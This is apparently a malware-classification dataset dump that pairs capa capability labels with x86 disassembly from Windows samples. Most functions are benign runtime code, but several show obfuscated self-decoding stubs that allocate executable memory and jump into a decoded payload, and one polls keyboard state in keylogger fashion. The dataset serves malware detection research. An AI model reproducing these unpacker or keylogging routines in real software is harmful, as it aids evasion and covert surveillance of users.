joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4476e0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov edi, edi
push esi
mov esi, dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
push 0xfffffffffffffffe
push 0xfffffffffffffffe
push 0x54272c
mov dword [ebx], 0
call esi
cmp eax, 0xfffffffe
jne 0x44776d
push edi
push 0
push 1
push 0x543d60
call esi
cmp eax, 1
jne 0x44772a
mov edi, dword [sym.imp.kernel32.dll_Sleep]
push 1
call edi
push 0
push 1
push 0x543d60
call esi
cmp eax, 1
je 0x447716
push 0xfffffffffffffffe
push 0xfffffffffffffffe
push 0x54272c
call esi
mov edi, dword [sym.imp.kernel32.dll_InterlockedExchange]
mov esi, eax
cmp esi, 0xfffffffe
jne 0x447757
call dword [sym.imp.kernel32.dll_TlsAlloc]
mov esi, eax
cmp esi, 0xffffffff
je 0x447757
push esi
push 0x54272c
call edi
push 0
push 0x543d60
call edi
cmp esi, 0xffffffff
pop edi
jne 0x44776d
mov eax, 0x8007000e
pop esi
ret
mov eax, dword [0x54272c]
test eax, eax
jl 0x447792
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
test eax, eax
je 0x447792
add dword [eax + 0x124], 1
mov dword [ebx], 1
xor eax, eax
pop esi
ret
push 0x128
call sub.msvcrt.dll_malloc
mov esi, eax
add esp, 4
test esi, esi
je 0x447766
push 0x128
push 0
push esi
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [esi + 0x124], 1
mov dword [ebx], 1
mov eax, dword [0x54272c]
push esi
push eax
call dword [sym.imp.kernel32.dll_TlsSetValue]
xor eax, eax
pop esi
ret

Function at 0x44c8c0
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x54272c]
test eax, eax
jge 0x44c8cd
xor eax, eax
jmp 0x44c8d4
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
xor ecx, ecx
lea edx, [eax + 0x1c]
lea esp, [esp]
cmp dword [ecx*4 + 0x4305e8], edi
jne 0x44c8ee
cmp dword [edx], 0
jne 0x44c905
add ecx, 1
add edx, 8
cmp ecx, 0x1a
jb 0x44c8e0
mov ecx, dword [eax + 0x18]
push 0x10
push edi
call fcn.004789f0
ret
mov edx, dword [eax + ecx*8 + 0x1c]
test edx, edx
je 0x44c927
push esi
mov esi, dword [edx]
mov dword [eax + ecx*8 + 0x1c], esi
test esi, esi
pop esi
jne 0x44c921
mov dword [eax + ecx*8 + 0x20], 0
mov dword [edx], 0xfefefefe
cmp ecx, 0x1a
jb 0x44c938
mov ecx, dword [eax + 0x18]
push 0x10
push edi
call fcn.004789f0
ret
mov eax, edx
ret

Function at 0x45ee00
Capabilities:
Get thread local storage value

Disassembly:
test esi, esi
je 0x45ee54
mov eax, dword [0x54272c]
test eax, eax
push ebx
push edi
jge 0x45ee13
xor ebx, ebx
jmp 0x45ee1c
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov ebx, eax
mov edi, dword [esi + 4]
mov eax, dword [edi*4 + 0x4305e8]
push eax
push 0xfe
push esi
call sub.msvcrt.dll_memset
lea ecx, [ebx + edi*8 + 0x20]
mov dword [esi], 0
mov eax, dword [ecx]
add esp, 0xc
test eax, eax
je 0x45ee4c
pop edi
mov dword [eax], esi
mov dword [ecx], esi
pop ebx
ret
mov dword [ebx + edi*8 + 0x1c], esi
pop edi
mov dword [ecx], esi
pop ebx
ret
Function at 0x4ac300
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x54272c]
test eax, eax
jge 0x4ac30d
xor eax, eax
jmp 0x4ac314
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp dword [eax + 0x10], 0
je 0x4ac339
mov ecx, dword [eax + 0x10]
test ecx, ecx
jne 0x4ac324
xor eax, eax
ret
mov edx, dword [ecx]
test edx, edx
mov dword [eax + 0x10], edx
jne 0x4ac330
mov dword [eax + 0x14], edx
mov dword [ecx], 0xfefefefe
mov eax, ecx
ret
mov ecx, dword [eax + 0xc]
push 0x10
push 0x40
call fcn.004789f0
ret

Function at 0x4ac350
Capabilities:
Get thread local storage value

Disassembly:
test esi, esi
je 0x4ac396
mov eax, dword [0x54272c]
test eax, eax
jl 0x4ac396
push edi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x4ac395
push 0x40
push 0xfe
push esi
call sub.msvcrt.dll_memset
mov dword [esi], 0
mov eax, dword [edi + 0x14]
add esp, 0xc
test eax, eax
je 0x4ac38f
mov dword [eax], esi
mov dword [edi + 0x14], esi
pop edi
ret
mov dword [edi + 0x10], esi
mov dword [edi + 0x14], esi
pop edi
ret

Function at 0x4af520
Capabilities:
Get thread local storage value

Disassembly:
test esi, esi
je 0x4af569
mov eax, dword [0x54272c]
test eax, eax
push edi
jge 0x4af532
xor edi, edi
jmp 0x4af53b
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
push 0xf0
push 0xfe
push esi
call sub.msvcrt.dll_memset
mov dword [esi], 0
mov eax, dword [edi + 8]
add esp, 0xc
test eax, eax
je 0x4af562
mov dword [eax], esi
mov dword [edi + 8], esi
pop edi
ret
mov dword [edi + 4], esi
mov dword [edi + 8], esi
pop edi
ret

Function at 0x4bb4b0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebx
mov ebx, ecx
mov eax, dword [ebx + 0x2994]
push esi
push edi
push eax
mov dword [ebx], 0x439270
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov ecx, dword [ebx + 0x29a0]
add esp, 4
test ecx, ecx
je 0x4bb4de
mov edx, dword [ecx]
mov eax, dword [edx]
push 1
call eax
mov esi, dword [ebx + 0x299c]
test esi, esi
je 0x4bb4f6
call fcn.00511290
push esi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebx + 0x299c], 0
lea esi, [ebx + 0x2a58]
mov edi, 0x1000
jmp 0x4bb510
mov ecx, dword [esi]
push ecx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov dword [esi], 0
add esp, 4
add esi, 4
sub edi, 1
jne 0x4bb510
lea esi, [ebx + 0x2a58]
mov edi, 0xe
mov eax, dword [esi - 0xc]
sub esi, 0xc
test eax, eax
je 0x4bb553
mov edi, edi
mov edx, dword [eax]
push eax
mov dword [esi], edx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi]
add esp, 4
test eax, eax
jne 0x4bb540
mov eax, dword [esi + 4]
push eax
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
sub edi, 1
mov dword [esi + 4], 0
jns 0x4bb534
pop edi
pop esi
mov ecx, ebx
pop ebx
jmp fcn.004af5a0
Function at 0x4f9d20
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push esi
mov esi, ecx
mov eax, dword [esi + 0xaa84]
push eax
mov dword [esi], 0x43fa98
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esi + 0xaa9c]
push ecx
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [esi + 0xab10]
add esp, 8
test eax, eax
je 0x4f9d62
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
mov dword [esi + 0xab10], 0
mov ecx, esi
pop esi
jmp fcn.004bb4b0
Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40a3fb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40a40a
pop dword [ebp - 0x2c]
mov eax, 0x28a3f25
sub eax, 0x2499b1b
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xcd5eaad1
sub dword [ebp - 0x3c], 0x7f0c6586
mov dword [ebp - 0x38], 0x3647012b
sub dword [ebp - 0x38], 0x413b4e6
mov dword [ebp - 0x34], 0x2148a107
sub dword [ebp - 0x34], 0xd4fc5cd9
mov dword [ebp - 0x30], 0xc4ea5335
sub dword [ebp - 0x30], 0xc4ea5335
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xc1c3db88
sub dword [ebp - 0x3c], 0x4d517232
mov dword [ebp - 0x38], 0x2cdfb3d6
add dword [ebp - 0x38], 0x148cad9f
mov dword [ebp - 0x34], 0x709d34f7
add dword [ebp - 0x34], 0xf2d23775
mov dword [ebp - 0x30], 0xd38770b1
sub dword [ebp - 0x30], 0xd38770b1
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x1c18181f
add eax, 0xe42a1905
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x41bf3
push 0
call eax
mov ecx, 0x8a2585c4
sub ecx, 0x8a252d86
mov edx, eax
mov ebx, 0x985a7e27
add ebx, 0x67e8c5d9
add ebx, dword [ebp - 0x2c]
mov edi, 0x18b8b0d8
add edi, 0x14141c09
mov dword [ebp - 0x28], 0xad94c4e6
mov esi, dword [ebx]
xor dword [ebp - 4], edx
add esi, edi
mov dword [ebp - 0x20], 0x79734ad1
mov dword [edx], esi
add edx, 4
add ebx, 0x245607b5
sub ebx, 0x245607b1
loop 0x40a527
add eax, 0x153cb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe1d6a75f
add ecx, 0x1e6958a1
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10006240
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x102
push edi
mov edi, dword [ebp + 0x24]
mov dword [edi], 1
je 0x100062eb
push ebx
mov ebx, dword [sym.imp.user32.dll_GetKeyState]
push esi
mov esi, dword [ebp + 0x14]
push 0x10
mov dword [ebp + 0x24], esi
call ebx
test ax, ax
jns 0x1000627a
or esi, 0x10000
mov dword [ebp + 0x24], esi
push 0x11
call ebx
test ax, ax
jns 0x1000628c
or esi, 0x20000
mov dword [ebp + 0x24], esi
push 0x12
call ebx
test ax, ax
jns 0x1000629e
or esi, 0x40000
mov dword [ebp + 0x24], esi
mov eax, dword [0x100808f0]
test al, 1
jne 0x100062c6
or eax, 1
push 0x100808c4
mov dword [0x100808f0], eax
call fcn.1003bc50
push 0x100620a0
call fcn.1003bc50
add esp, 8
mov esi, dword [0x100808c8]
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp + 0x10]
push eax
mov ecx, 0x100808c4
call fcn.1003bc50
cmp dword [ebp + 0x10], esi
pop esi
pop ebx
je 0x100062eb
mov dword [edi], 0
xor eax, eax
pop edi
pop ebp
ret 0x20

Function at 0x1002a5a0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d18
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0x34]
call fcn.1003def0
test eax, eax
jne 0x1002a5da
xor ebx, ebx
jmp 0x1002a5e4
lea ecx, [esi + 0x34]
call fcn.1003def0
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x34]
call fcn.1003bc50
push 0
push 0
push 3
push 0
push 0
push ebx
push dword [eax]
push dword [esi + 0x4c]
call dword [sym.imp.wininet.dll_InternetConnectW]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
mov dword [esi + 0x50], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1002a626
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x50], 0
jne 0x1002a669
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
cmp eax, 0x3e5
je 0x1002a669
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.1003bc50
push eax
mov dword [ebp - 4], 0
call edi
push eax
lea ecx, [ebp - 0x24]
call fcn.1003bc50
push 0x1007469c
lea eax, [ebp - 0x24]
push eax
call fcn.1003bc50
push 2
mov ecx, esi
call fcn.1003bc50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002a7d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f9d8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebx + 0x18]
sub esi, dword [ebx + 0x14]
mov eax, dword [ebp + 8]
add eax, esi
cmp eax, 0xa00000
jle 0x1002a827
push 0xcaa10025
lea ecx, [ebp - 0x18]
call fcn.1003bc50
push 0x100731f4
lea eax, [ebp - 0x18]
push eax
call fcn.1003bc50
push eax
lea ecx, [ebx + 0x14]
call fcn.1003bc50
mov eax, dword [ebx + 0x14]
lea ecx, [ebx + 0x44]
push ecx
push dword [ebp + 8]
add eax, esi
push eax
push dword [ebx + 0x54]
call dword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
jne 0x1002a889
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002a889
push 0x10063700
lea ecx, [ebp + 8]
call fcn.1003bc50
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x28]
call fcn.1003bc50
push 0x1007469c
lea eax, [ebp - 0x28]
push eax
call fcn.1003bc50
mov eax, dword [ebx + 0x44]
add eax, esi
push eax
lea ecx, [ebx + 0x14]
call fcn.1003bc50
push 0xa
mov ecx, ebx
call fcn.1003bc50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1002aa70
Capabilities:
Query remote server for available data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005fa38
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x54]
mov dword [ebp - 0x10], 0
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
test eax, eax
jne 0x1002aaf3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x1002aaf3
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.1003bc50
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x30]
call fcn.1003bc50
push 0x1007469c
lea eax, [ebp - 0x30]
push eax
call fcn.1003bc50
mov edx, dword [ebp - 0x10]
test edx, edx
je 0x1002ab25
mov ecx, dword [edi + 0x18]
sub ecx, dword [edi + 0x14]
add ecx, edx
cmp ecx, 0xa00000
jbe 0x1002ab25
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.1003bc50
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.1003bc50
mov eax, edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10032d30
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi + 0x34]
call fcn.1003dee0
movzx edi, al
neg edi
sbb edi, edi
push 0xd
mov ecx, esi
and edi, 0x800000
call fcn.1003bc50
cmp dword [esi + 0x48], 0
je 0x10032dcc
lea eax, [ebp - 4]
push eax
lea ecx, [esi + 0x34]
call fcn.1003bc50
push edi
push 0
push 0
push 0
push dword [eax]
push dword [esi + 0x10]
push dword [esi + 0x48]
call dword [sym.imp.winhttp.dll_WinHttpOpenRequest]
mov edx, dword [ebp - 4]
add edx, 0xfffffff0
mov dword [esi + 0x4c], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10032da0
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x4c], 0
jne 0x10032dc3
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.1003bc50
push 0x10073814
lea eax, [ebp - 0x10]
push eax
call fcn.1003bc50
push 0xe
mov ecx, esi
call fcn.1003bc50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10032de0
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061948
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x44], 0
je 0x10032e29
push 0xcaa10023
lea ecx, [ebp - 0x1c]
call fcn.1003bc50
push 0x10073144
lea eax, [ebp - 0x1c]
push eax
call fcn.1003bc50
movzx eax, byte [esi + 0x41]
neg eax
sbb eax, eax
and eax, 0x10000000
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.winhttp.dll_WinHttpOpen]
mov dword [esi + 0x44], eax
test eax, eax
jne 0x10032e7e
push 0x10063700
lea ecx, [ebp - 0x10]
call fcn.1003bc50
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x2c]
call fcn.1003bc50
push 0x1007469c
lea eax, [ebp - 0x2c]
push eax
call fcn.1003bc50
push 1
mov ecx, esi
call fcn.1003bc50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10032ea0
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060c88
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x1c], eax
mov edi, dword [eax + 0x18]
sub edi, dword [eax + 0x14]
mov edx, dword [ebp + 8]
lea ebx, [eax + 0x14]
add edx, edi
mov dword [ebp - 0x18], edi
cmp edx, 0xa00000
jle 0x10032f01
push 0xcaa10025
lea ecx, [ebp - 0x28]
call fcn.1003bc50
push 0x100731f4
lea eax, [ebp - 0x28]
push eax
call fcn.1003bc50
mov ecx, dword [ebx + 4]
mov eax, dword [ebx]
mov esi, ecx
sub esi, eax
mov byte [ebp - 0x10], 0
cmp edx, esi
jbe 0x10032f25
sub eax, ecx
lea esi, [ebp - 0x10]
push esi
add eax, edx
push eax
push ecx
mov ecx, ebx
call fcn.1003bc50
jmp 0x10032f46
jae 0x10032f46
lea esi, [edx + eax]
cmp esi, ecx
je 0x10032f46
mov edi, ecx
sub edi, ecx
push edi
push ecx
push esi
call fcn.1003bc50
lea eax, [edi + esi]
mov edi, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebx + 4], eax
mov eax, dword [ebx]
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 0x4c]
mov dword [ebp - 0x14], 0
call dword [sym.imp.winhttp.dll_WinHttpReadData]
test eax, eax
jne 0x10032f9b
push 0x10063700
lea ecx, [ebp + 8]
call fcn.1003bc50
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x38]
call fcn.1003bc50
push 0x1007469c
lea eax, [ebp - 0x38]
push eax
call fcn.1003bc50
mov eax, dword [ebp - 0x14]
add eax, edi
push eax
mov ecx, ebx
call fcn.1003bc50
push 0xa
mov ecx, esi
call fcn.1003bc50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10033280
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d59
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], 0
mov eax, dword [0x1007f3e4]
mov ecx, 0x1007f3e4
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
call dword [eax + 0xc]
mov esi, dword [ebp + 8]
add eax, 0x10
mov dword [esi], eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 4], 0
push dword [ebp + 0xc]
mov dword [ebp - 0x14], 1
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x10033389
mov eax, dword [ebp - 0x10]
cmp eax, 0xa00000
jbe 0x1003332c
push 0xcaa10025
lea ecx, [ebp - 0x20]
call fcn.1003bc50
push 0x100731f4
lea eax, [ebp - 0x20]
push eax
call fcn.1003bc50
shr eax, 1
dec eax
push eax
mov ecx, esi
call fcn.1003bc50
push 0
lea ecx, [ebp - 0x10]
push ecx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [edi + 0x4c]
call dword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov ecx, dword [esi]
mov edi, eax
test ecx, ecx
je 0x10033367
push dword [ecx - 8]
push ecx
call fcn.1003bc50
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1003339e
mov eax, dword [esi]
cmp ecx, dword [eax - 8]
jg 0x1003339e
mov dword [eax - 0xc], ecx
mov eax, dword [esi]
xor edx, edx
mov word [eax + ecx*2], dx
test edi, edi
jne 0x10033389
push 0x10063700
mov ecx, esi
call fcn.1003bc50
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
push 0x80070057
call fcn.1003bc50
int3

Function at 0x1003bc50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1003bc5f
pop dword [ebp - 0x38]
mov eax, 0x59dcce66
add eax, 0xb626edf9
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x59c54
push 0
mov eax, 0x968bfb5e
add eax, 0x797a3606
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x6237
xor edi, edi
add edi, eax
mov ebx, 0x100b4200
add ebx, dword [ebp - 0x38]
mov edx, 0xbacf2831
sub dword [ebp - 8], 0x6dc452c1
mov esi, dword [ebx]
xor dword [ebp - 4], edi
add esi, edx
xor dword [ebp - 0x18], edx
mov dword [edi], esi
add dword [ebp - 0x14], edi
add edi, 4
add ebx, 4
loop 0x1003bcae
add eax, 0x19849cc8
add eax, 0xe67cdee7
mov ebx, eax
add eax, 0xc90b53e9
add eax, 0x36f4ac1c
mov ecx, 0x233ab97f
sub ecx, 0x133ab97f
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x10045816
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10080cd4], 0
push esi
push edi
jne 0x1004578c
call fcn.100456f8
test eax, eax
je 0x100457d1
mov eax, dword [0x10080cd4]
cmp eax, 1
jne 0x100457ad
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x100457d1
jmp 0x10045813
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x10045813
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100457d5
xor eax, eax
jmp 0x10045813
mov eax, dword [esi]
push dword [0x10080cd4]
call edi
mov edi, eax
test edi, edi
je 0x100457f7
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x10045813
lea edi, [esi + 0xff0]
push esi
push dword [0x10080cd4]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x100457fd
mov eax, esi
pop edi
pop esi
ret
jmp 0x10045778

Function at 0x10045bb2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1007f45c]
jne 0x10045bbc
repz ret
jmp fcn.100490d1
Function at 0x405b88
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x405b97
pop dword [ebp - 0x14]
mov eax, 0x405b97
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x15e139c4
sub dword [ebp - 0x24], 0xc78ef479
mov dword [ebp - 0x20], 0x43fe2691
sub dword [ebp - 0x20], 0x11cada4c
mov dword [ebp - 0x1c], 0x56be38f8
add dword [ebp - 0x1c], 0xf58e0b36
mov dword [ebp - 0x18], 0xd75c306a
add dword [ebp - 0x18], 0x28a3cf96
lea eax, [ebp - 0x24]
push eax
mov eax, 0x8523ab31
add eax, 0x7b1cc5db
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb913fde7
sub dword [ebp - 0x24], 0x44a19491
mov dword [ebp - 0x20], 0x25907a6
add dword [ebp - 0x20], 0x3f1359cf
mov dword [ebp - 0x1c], 0x53e5a0f0
sub dword [ebp - 0x1c], 0xf0763484
mov dword [ebp - 0x18], 0x151ad696
add dword [ebp - 0x18], 0xeae5296a
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xfb1e8de8
add eax, 0x521e32c
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3694d
push 0
call eax
mov ecx, 0x46a2
xor ebx, ebx
add ebx, eax
mov edi, 0x432600
add edi, dword [ebp - 0x14]
mov edx, 0x4585df68
sub edx, 0x36032f93
sub dword [ebp - 8], edi
mov esi, dword [edi]
add dword [ebp - 4], edi
add esi, edx
xor dword [ebp - 4], 0xeeb6d060
mov dword [ebx], esi
add dword [ebp - 8], 0x3a08ec02
add ebx, 0x6657b25b
add ebx, 0x99a84da9
add edi, 0x3adeb0a
sub edi, 0x3adeb06
loop 0x405caa
add eax, 0x10d5b
mov ebx, eax
add eax, 0xe500ce07
add eax, 0x1aff31fe
mov ecx, 0x310f0811
add ecx, 0xcf30f7ef
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x405ef4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422a34], 0
push esi
jne 0x405f2b
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405f05
mov dword [ecx*4 + 0x422a30], eax
inc ecx
cmp ecx, 0x100
jl 0x405f00
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f5c
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422a30]
xor eax, esi
inc ecx
dec edx
jne 0x405f3e
pop edi
not eax
pop esi
ret 0xc